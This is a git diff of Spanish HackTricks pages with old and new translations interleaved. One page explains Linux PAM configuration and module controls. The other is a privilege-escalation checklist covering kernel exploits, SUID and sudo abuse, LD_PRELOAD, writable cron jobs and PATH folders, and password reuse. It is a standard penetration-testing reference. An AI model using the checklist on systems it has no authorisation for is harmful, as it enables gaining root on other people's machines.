* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
PAM es una colección de módulos que esencialmente forman una barrera entre un servicio en tu sistema y el usuario del servicio. Los módulos pueden tener propósitos muy variados, desde prohibir el inicio de sesión a usuarios de un grupo UNIX particular \(o netgroup, o subred…\), hasta implementar límites de recursos para que tu grupo de ‘investigación’ no acapare los recursos del sistema.
|
||||
PAM es una colección de módulos que esencialmente forman una barrera entre un servicio en tu sistema y el usuario del servicio. Los módulos pueden tener propósitos muy variados, desde prohibir el inicio de sesión a usuarios de un grupo UNIX en particular \(o netgroup, o subred...\), hasta implementar límites de recursos para que tu grupo de 'investigación' no pueda acaparar los recursos del sistema.
|
||||
|
||||
# Archivos de Configuración
|
||||
|
||||
Solaris y otros sistemas UNIX comerciales tienen un modelo de configuración ligeramente diferente, centrado en torno a un único archivo, **`/etc/pam.conf`**. En la mayoría de los sistemas Linux, estos archivos de configuración se encuentran en **`/etc/pam.d`**, y están nombrados según el servicio – por ejemplo, el archivo de configuración de ‘login’ se llama **`/etc/pam.d/login`**. Echemos un vistazo rápido a una versión de ese archivo:
|
||||
Solaris y otros sistemas UNIX comerciales tienen un modelo de configuración ligeramente diferente, centrado en un único archivo, **`/etc/pam.conf`**. En la mayoría de los sistemas Linux, estos archivos de configuración residen en **`/etc/pam.d`**, y llevan el nombre del servicio, por ejemplo, el archivo de configuración de 'login' se llama **`/etc/pam.d/login`**. Echemos un vistazo rápido a una versión de ese archivo:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
|
@ -30,50 +30,34 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
## **Ámbitos de Gestión de PAM**
|
||||
## **Reinos de Gestión de PAM**
|
||||
|
||||
La columna más a la izquierda puede contener cuatro palabras únicas, que representan cuatro ámbitos de gestión de PAM: **auth**, **account**, **password** y **session**. Aunque hay muchos módulos que admiten más de uno de estos ámbitos (de hecho, pam_unix los admite todos), otros, como pam_cracklib, solo son adecuados para uno (la instalación de ‘password’ en el caso de pam_cracklib).
|
||||
La columna más a la izquierda contiene cuatro palabras únicas, que representan cuatro reinos de gestión de PAM: **auth**, **account**, **password** y **session**. Mientras hay muchos módulos que admiten más de uno de estos reinos \(de hecho, pam\_unix los admite todos\), otros, como pam\_cracklib por ejemplo, solo son adecuados para uno \(en el caso de pam\_cracklib, la funcionalidad de ‘password’\).
|
||||
|
||||
* **auth**: El ámbito 'auth' (lo llamo ámbito, los documentos se refieren a él como 'grupo de gestión' o 'instalación') es responsable de verificar que el usuario sea quien dice ser. Los módulos que se pueden listar en esta área **generalmente** admiten **solicitar una contraseña**.
|
||||
* **account**: Esta área es responsable de una amplia gama de posibles **funcionalidades de verificación de cuenta**. Hay muchos módulos disponibles para esta instalación. Las restricciones al uso de un servicio basadas en **verificar la pertenencia a un grupo**, la hora del día, si una cuenta de usuario es local o remota, etc., generalmente son impuestas por módulos que admiten esta instalación.
|
||||
* **password**: Los módulos en esta área son responsables de cualquier funcionalidad necesaria en el curso de **actualizar contraseñas** para un servicio dado. La mayoría de las veces, esta sección es bastante rutinaria, simplemente llamando a un módulo que **solicitará una contraseña actual**, y, asumiendo que eso sea exitoso, te pedirá una nueva. Otros módulos podrían agregarse para realizar **complejidad de contraseña** o verificación de diccionario también, como la realizada por los módulos pam_cracklib y pam_pwcheck.
|
||||
* **session**: Los módulos en esta área realizan cualquier número de cosas que suceden ya sea **durante la configuración o limpieza de un servicio** para un usuario dado. Esto puede incluir cualquier número de cosas; lanzar un script de inicialización del sistema, realizar un registro especial, **montar el directorio personal del usuario**, o establecer límites de recursos.
|
||||
* **auth**: El reino de ‘auth’ \(lo llamo reino, la documentación se refiere a él como un ‘grupo de gestión’ o ‘facilidad’\) es responsable de verificar que el usuario es quien dice ser. Los módulos que se pueden listar en esta área **generalmente** admiten **solicitar una contraseña**.
|
||||
* **account**: Esta área es responsable de una amplia gama de posibles funcionalidades de **verificación de cuenta**. Hay muchos módulos disponibles para esta facilidad. Las restricciones para el uso de un servicio basadas en **verificar la pertenencia a un grupo**, la hora del día, si una cuenta de usuario es local o remota, etc., generalmente son aplicadas por módulos que admiten esta facilidad.
|
||||
* **password**: Los módulos en esta área son responsables de cualquier funcionalidad necesaria en el proceso de **actualización de contraseñas** para un servicio dado. La mayoría de las veces, esta sección es bastante común, simplemente llamando a un módulo que **solicitará una contraseña actual**, y, suponiendo que sea exitosa, solicitará una nueva. Otros módulos podrían agregarse para realizar **comprobaciones de complejidad de contraseñas** o de diccionario, como las realizadas por los módulos pam\_cracklib y pam\_pwcheck.
|
||||
* **session**: Los módulos en esta área realizan cualquier cantidad de cosas que suceden ya sea **durante la configuración o limpieza de un servicio** para un usuario dado. Esto puede incluir cualquier cantidad de cosas; iniciar un script de inicialización en todo el sistema, realizar un registro especial, **montar el directorio de inicio del usuario**, o establecer límites de recursos.
|
||||
|
||||
## **Controles de Módulos PAM**
|
||||
|
||||
La **columna del medio** contiene una palabra clave que determina esencialmente **qué debe hacer PAM si el módulo tiene éxito o falla**. Estas palabras clave se llaman 'controles' en el lenguaje de PAM. En el 90% de los casos, puedes usar una de las palabras clave comunes (**requisite**, **required**, **sufficient** o **optional**). Sin embargo, esto es solo la punta del iceberg en términos de desatar la flexibilidad y el poder de PAM.
|
||||
La **columna central** contiene una palabra clave que determina esencialmente **qué debe hacer PAM si el módulo tiene éxito o falla**. Estas palabras clave se llaman ‘**controles**’ en el lenguaje de PAM. En el 90% de los casos, se puede usar una de las palabras clave comunes \(**requisite**, **required**, **sufficient** u **optional**\). Sin embargo, esto es solo la punta del iceberg en términos de desatar la flexibilidad y el poder de PAM.
|
||||
|
||||
* **required**: Si un módulo 'required' devuelve un estado que **no es 'success'**, la **operación finalmente fallará SIEMPRE**, pero solo después de que se **invoquen los módulos debajo de él**. Esto parece sin sentido a primera vista, supongo, pero sirve para **actuar siempre de la misma manera desde el punto de vista del usuario** que intenta utilizar el servicio. El efecto neto es que se vuelve **imposible** para un posible cracker **determinar** **cuál** **módulo** causó el **fallo**.
|
||||
* **requisite**: Si un módulo 'requisite' falla, la **operación** no solo **falla**, sino que la operación se **termina inmediatamente** con un fallo sin invocar ningún otro módulo.
|
||||
* **sufficient**: Si un módulo **sufficient** **tiene éxito**, es suficiente para satisfacer los requisitos de los módulos suficientes en ese ámbito para el uso del servicio, y **no se invocan los módulos debajo de él que también estén listados como 'sufficient'**. **Si falla, la operación falla a menos que un módulo invocado después de él tenga éxito**.
|
||||
* **optional**: Un módulo ''optional', según la página del manual pam(8), **solo causará que una operación falle si es el único módulo en la pila para esa instalación**.
|
||||
* **required**: Si un módulo ‘required’ devuelve un estado que **no es ‘éxito’**, la **operación siempre fallará**, pero solo después de que se invoquen los **módulos debajo de él**. Esto parece sin sentido a primera vista, supongo, pero sirve al propósito de **actuar siempre de la misma manera desde el punto de vista del usuario** que intenta utilizar el servicio. El efecto neto es que se vuelve **imposible** para un posible intruso **determinar** **qué** **módulo** causó el **fallo**.
|
||||
* **requisite**: Si un módulo ‘requisite’ falla, la **operación** no solo **falla**, sino que la operación se **termina inmediatamente** con un fallo sin invocar ningún otro módulo.
|
||||
* **sufficient**: Si un módulo **sufficient** **tiene éxito**, es suficiente para satisfacer los requisitos de los módulos suficientes en ese reino para el uso del servicio, y **los módulos debajo de él que también se enumeran como ‘sufficient’ no son invocados**. **Si falla, la operación falla a menos que un módulo invocado después de él tenga éxito**.
|
||||
* **optional**: Un módulo ‘optional’, según la página del manual pam\(8\), **solo hará que una operación falle si es el único módulo en la pila para esa facilidad**.
|
||||
|
||||
## Ejemplo
|
||||
|
||||
En nuestro archivo de ejemplo, tenemos cuatro módulos apilados para el ámbito auth:
|
||||
En nuestro archivo de ejemplo, tenemos cuatro módulos apilados para el reino de auth:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix.so try_first_pass
|
||||
```
|
||||
A medida que se invocan los módulos, esto es lo que sucederá:
|
||||
|
||||
1. El módulo '**pam_securetty**' verificará su archivo de configuración, **`/etc/securetty`**, y comprobará si el terminal utilizado para este inicio de sesión está listado en el archivo. Si **no lo está, no se permitirán inicios de sesión como root**. Si intentas iniciar sesión como root en un terminal 'malo', este módulo fallará. Dado que es 'requerido', aún invocará todos los módulos en la pila. Sin embargo, incluso si todos ellos tienen éxito, el inicio de sesión fallará. Es interesante notar que si el módulo estuviera listado como 'requisito', la operación terminaría con un fallo inmediatamente, sin invocar a ninguno de los otros módulos, sin importar su estado.
|
||||
2. El módulo '**pam_env**' **establecerá variables de entorno** basadas en lo que el administrador haya configurado en /etc/security/pam_env.conf. En una configuración predeterminada de Redhat 9, Fedora Core 1 y Mandrake 9.2, el archivo de configuración para este módulo en realidad no establece ninguna variable. Un buen uso para esto podría ser establecer automáticamente una variable de entorno DISPLAY para un usuario que inicia sesión a través de SSH para que no tenga que configurarla ellos mismos si quieren enviar un 'xterm' de vuelta a su escritorio remoto (aunque esto puede ser manejado automáticamente por OpenSSH).
|
||||
3. El módulo '**pam_ldap**' **solicitará** al usuario una **contraseña**, y luego verificará el directorio ldap indicado en **`/etc/ldap.conf`** para autenticar al usuario. Si esto falla, la operación aún puede tener éxito si 'pam_unix' tiene éxito en autenticar al usuario. Si pam_ldap tiene éxito, 'pam_unix' no será invocado.
|
||||
4. El módulo '**pam_unix**', en este caso, **no solicitará al usuario una contraseña**. El argumento 'try_first_pass' le dirá al módulo que **use la contraseña proporcionada por el módulo precedente** (en este caso, pam_ldap). Intentará autenticar al usuario utilizando las llamadas al sistema getpw\* estándar. Si pam_unix falla, y pam_ldap ha fallado, la operación fallará. Si pam_ldap falla, pero pam_unix tiene éxito, la operación tendrá éxito (¡esto es extremadamente útil en casos donde root no está en el directorio ldap, pero aún está en el archivo local /etc/passwd!).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
1. El módulo '**pam\_securetty**' verificará su archivo de configuración, **`/etc/securetty`**, y verá si el terminal utilizado para este inicio de sesión está en la lista del archivo. Si **no lo está, no se permitirán los inicios de sesión de root**. Si intentas iniciar sesión como root en un terminal 'malo', este módulo fallará. Dado que es 'requerido', seguirá invocando todos los módulos en la pila. Sin embargo, incluso si todos tienen éxito, el inicio de sesión fallará. Es interesante notar que si el módulo se listara como 'requisito', la operación terminaría con un fallo inmediatamente, sin invocar ninguno de los otros módulos, sin importar cuál sea su estado.
|
||||
2. El módulo '**pam\_env**' **establecerá variables de entorno** basadas en lo que el administrador haya configurado en /etc/security/pam\_env.conf. En una configuración predeterminada de Redhat 9, Fedora Core 1 y Mandrake 9.2, el archivo de configuración para este módulo en realidad no establece ninguna variable. Un buen uso para esto podría ser establecer automáticamente una variable de entorno DISPLAY para un usuario que inicia sesión a través de SSH para que no tengan que configurarla ellos mismos si desean enviar un 'xterm' de vuelta a su escritorio remoto \(aunque esto puede ser manejado automáticamente por OpenSSH\).
|
||||
3. El módulo '**pam\_ldap**' **solicitará** al usuario una **contraseña**, y luego verificará el directorio ldap indicado en **`/etc/ldap.conf`** para autenticar al usuario. Si esto falla, la operación aún puede tener éxito si 'pam\_unix' tiene éxito en autenticar al usuario. Si pam\_ldap tiene éxito, 'pam\_unix' no será invocado.
|
||||
4. El módulo '**pam\_unix**', en este caso, **no solicitará al usuario una contraseña**. El argumento 'try\_first\_pass' le indicará al módulo que **utilice la contraseña proporcionada por el módulo anterior** \(en este caso, pam\_ldap\). Intentará autenticar al usuario utilizando las llamadas al sistema estándar getpw\*. Si pam\_unix falla, y pam\_ldap ha fallado, la operación fallará. Si pam\_ldap falla, pero pam\_unix tiene éxito, la operación tendrá éxito \(¡esto es extremadamente útil en casos donde root no está en el directorio ldap, pero sigue estando en el archivo local /etc/passwd!\).
|
||||
|
|
|
|||
|
|
@ -1,16 +1,16 @@
|
|||
# Lista de verificación - Escalada de Privilegios en Linux
|
||||
# Lista de verificación - Escalada de privilegios en Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks para AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** los repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -20,72 +20,72 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
**Información sobre Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado con los lanzamientos de las más recientes recompensas por errores y actualizaciones críticas de la plataforma.
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
|
||||
### **Mejor herramienta para buscar vectores de escalada de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Información del Sistema](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] Obtén **información del SO**
|
||||
* [ ] Verifica el [**PATH**](privilege-escalation/#path), ¿alguna **carpeta con permisos de escritura**?
|
||||
* [ ] Revisa las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible?
|
||||
* [ ] Busca [**exploits de kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (¿DirtyCow?)
|
||||
* [ ] **Verifica** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Fallo en la verificación de firma de Dmesg**](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Obtener **información del SO**
|
||||
* [ ] Verificar la [**RUTA**](privilege-escalation/#path), ¿alguna **carpeta escribible**?
|
||||
* [ ] Verificar las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible?
|
||||
* [ ] Buscar [**exploits de kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (DirtyCow?)
|
||||
* [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Fallo de verificación de firma de Dmesg**](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de la CPU, impresoras](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] [Enumera más defensas](privilege-escalation/#enumerate-possible-defenses)
|
||||
* [ ] [Enumerar más defensas](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
||||
### [Unidades](privilege-escalation/#drives)
|
||||
|
||||
* [ ] **Lista unidades montadas**
|
||||
* [ ] **¿Alguna unidad sin montar?**
|
||||
* [ ] **¿Algún credencial en fstab?**
|
||||
* [ ] Listar las unidades montadas
|
||||
* [ ] ¿Algún unidad no montada?
|
||||
* [ ] ¿Algún credencial en fstab?
|
||||
|
||||
### [**Software Instalado**](privilege-escalation/#installed-software)
|
||||
|
||||
* [ ] **Verifica si hay** [**software útil**](privilege-escalation/#useful-software) **instalado**
|
||||
* [ ] **Verifica si hay** [**software vulnerable**](privilege-escalation/#vulnerable-software-installed) **instalado**
|
||||
* [ ] Verificar si hay [**software útil**](privilege-escalation/#useful-software) **instalado**
|
||||
* [ ] Verificar si hay [**software vulnerable**](privilege-escalation/#vulnerable-software-installed) **instalado**
|
||||
|
||||
### [Procesos](privilege-escalation/#processes)
|
||||
|
||||
* [ ] ¿Hay algún **software desconocido en ejecución**?
|
||||
* [ ] ¿Hay algún software en ejecución con **más privilegios de los que debería tener**?
|
||||
* [ ] Busca **exploits de procesos en ejecución** (especialmente la versión en ejecución).
|
||||
* [ ] Buscar **exploits de procesos en ejecución** (especialmente la versión en ejecución).
|
||||
* [ ] ¿Puedes **modificar el binario** de algún proceso en ejecución?
|
||||
* [ ] **Monitorea procesos** y verifica si algún proceso interesante se ejecuta con frecuencia.
|
||||
* [ ] ¿Puedes **leer** alguna **memoria de proceso interesante** (donde podrían guardarse contraseñas)?
|
||||
* [ ] **Monitorear procesos** y verificar si algún proceso interesante se ejecuta con frecuencia.
|
||||
* [ ] ¿Puedes **leer** alguna **memoria de proceso** interesante (donde podrían estar guardadas contraseñas)?
|
||||
|
||||
### [¿Trabajos Programados/Cron?](privilege-escalation/#scheduled-jobs)
|
||||
### [¿Trabajos programados/Cron?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] ¿El [**PATH**](privilege-escalation/#cron-path) está siendo modificado por algún cron y puedes **escribir** en él?
|
||||
* [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
|
||||
* [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
|
||||
* [ ] ¿Has detectado que algún **script** podría estar siendo [**ejecutado muy frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
|
||||
* [ ] ¿Se está modificando la [**RUTA** ](privilege-escalation/#cron-path)por algún cron y puedes **escribir** en ella?
|
||||
* [ ] ¿Algún [**comodín** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)en un trabajo cron?
|
||||
* [ ] ¿Algún [**script modificable** ](privilege-escalation/#cron-script-overwriting-and-symlink)se está **ejecutando** o está dentro de una **carpeta modificable**?
|
||||
* [ ] ¿Has detectado que algún **script** podría estar siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
|
||||
|
||||
### [Servicios](privilege-escalation/#services)
|
||||
|
||||
* [ ] ¿Algún archivo .service **con permisos de escritura**?
|
||||
* [ ] ¿Algún **binario con permisos de escritura** ejecutado por un **servicio**?
|
||||
* [ ] ¿Algún **directorio con permisos de escritura en el PATH de systemd**?
|
||||
* [ ] ¿Algún archivo **.service escribible**?
|
||||
* [ ] ¿Algún binario **escribible** ejecutado por un **servicio**?
|
||||
* [ ] ¿Alguna **carpeta escribible en la RUTA de systemd**?
|
||||
|
||||
### [Temporizadores](privilege-escalation/#timers)
|
||||
|
||||
* [ ] ¿Algún **temporizador con permisos de escritura**?
|
||||
* [ ] ¿Algún **temporizador escribible**?
|
||||
|
||||
### [Sockets](privilege-escalation/#sockets)
|
||||
|
||||
* [ ] ¿Algún archivo .socket **con permisos de escritura**?
|
||||
* [ ] ¿Algún archivo **.socket escribible**?
|
||||
* [ ] ¿Puedes **comunicarte con algún socket**?
|
||||
* [ ] **Sockets HTTP** con información interesante?
|
||||
* [ ] ¿**Sockets HTTP** con información interesante?
|
||||
|
||||
### [D-Bus](privilege-escalation/#d-bus)
|
||||
|
||||
|
|
@ -93,44 +93,44 @@ Mantente informado con los lanzamientos de las más recientes recompensas por er
|
|||
|
||||
### [Red](privilege-escalation/#network)
|
||||
|
||||
* [ ] Enumera la red para saber dónde estás
|
||||
* [ ] ¿**Puertos abiertos a los que no podías acceder antes** de obtener una shell dentro de la máquina?
|
||||
* [ ] ¿Puedes **capturar tráfico** usando `tcpdump`?
|
||||
* [ ] Enumerar la red para saber dónde estás
|
||||
* [ ] ¿Puertos abiertos a los que no podías acceder antes de obtener una shell dentro de la máquina?
|
||||
* ¿Puedes **espiar el tráfico** usando `tcpdump`?
|
||||
|
||||
### [Usuarios](privilege-escalation/#users)
|
||||
|
||||
* [ ] Enumeración genérica de usuarios/grupos
|
||||
* [ ] ¿Tienes un **UID muy grande**? ¿La **máquina** es **vulnerable**?
|
||||
* [ ] Enumeración de usuarios/grupos **genéricos**
|
||||
* [ ] ¿Tienes un **UID muy grande**? ¿Es **vulnerable** la **máquina**?
|
||||
* [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/) al que perteneces?
|
||||
* [ ] ¿Datos del **portapapeles**?
|
||||
* [ ] ¿Política de contraseñas?
|
||||
* [ ] Intenta **usar** cada **contraseña conocida** que hayas descubierto previamente para iniciar sesión **con cada** posible **usuario**. Intenta también iniciar sesión sin contraseña.
|
||||
* [ ] Intenta **usar** todas las **contraseñas conocidas** que hayas descubierto previamente para iniciar sesión **con cada** usuario **posible**. Intenta iniciar sesión también sin contraseña.
|
||||
|
||||
### [PATH con permisos de escritura](privilege-escalation/#writable-path-abuses)
|
||||
### [RUTA Escribible](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH**, podrías ser capaz de escalar privilegios
|
||||
* [ ] Si tienes **privilegios de escritura sobre alguna carpeta en la RUTA** podrías ser capaz de escalar privilegios
|
||||
|
||||
### [Comandos SUDO y SUID](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* [ ] ¿Puedes ejecutar **algún comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] ¿Los comandos de [**sudo** están **limitados** por **ruta**? ¿puedes **burlar** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] ¿Los [**comandos sudo** están **limitados** por **ruta**? ¿puedes **burlar** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**Binario Sudo/SUID sin ruta indicada**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [ ] [**Binario SUID especificando ruta**](privilege-escalation/#suid-binary-with-command-path)? Burla
|
||||
* [ ] [**Binario SUID especificando ruta**](privilege-escalation/#suid-binary-with-command-path)? Burlar
|
||||
* [ ] [**Vulnerabilidad LD\_PRELOAD**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Falta de biblioteca .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) desde una carpeta con permisos de escritura?
|
||||
* [ ] [**Tokens de SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**¿Puedes crear un token de SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] [**Falta de biblioteca .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) desde una carpeta escribible?
|
||||
* [ ] ¿Hay [**tokens de SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**Puedes crear un token de SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] [**Comando OpenBSD DOAS**](privilege-escalation/#doas)
|
||||
* [ ] Comando [**OpenBSD DOAS**](privilege-escalation/#doas)
|
||||
|
||||
### [Capacidades](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] ¿Tiene algún binario alguna **capacidad inesperada**?
|
||||
* [ ] ¿Algún binario tiene alguna **capacidad inesperada**?
|
||||
|
||||
### [ACLs](privilege-escalation/#acls)
|
||||
|
||||
* [ ] ¿Tiene algún archivo alguna **ACL inesperada**?
|
||||
* [ ] ¿Algún archivo tiene algún **ACL inesperado**?
|
||||
|
||||
### [Sesiones de Shell abiertas](privilege-escalation/#open-shell-sessions)
|
||||
|
||||
|
|
@ -139,61 +139,32 @@ Mantente informado con los lanzamientos de las más recientes recompensas por er
|
|||
|
||||
### [SSH](privilege-escalation/#ssh)
|
||||
|
||||
* [ ] **Debian** [**PRNG Predecible de OpenSSL - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* [ ] [**Valores de configuración de SSH interesantes**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
|
||||
### [Archivos Interesantes](privilege-escalation/#interesting-files)
|
||||
|
||||
* [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para escalar privilegios?
|
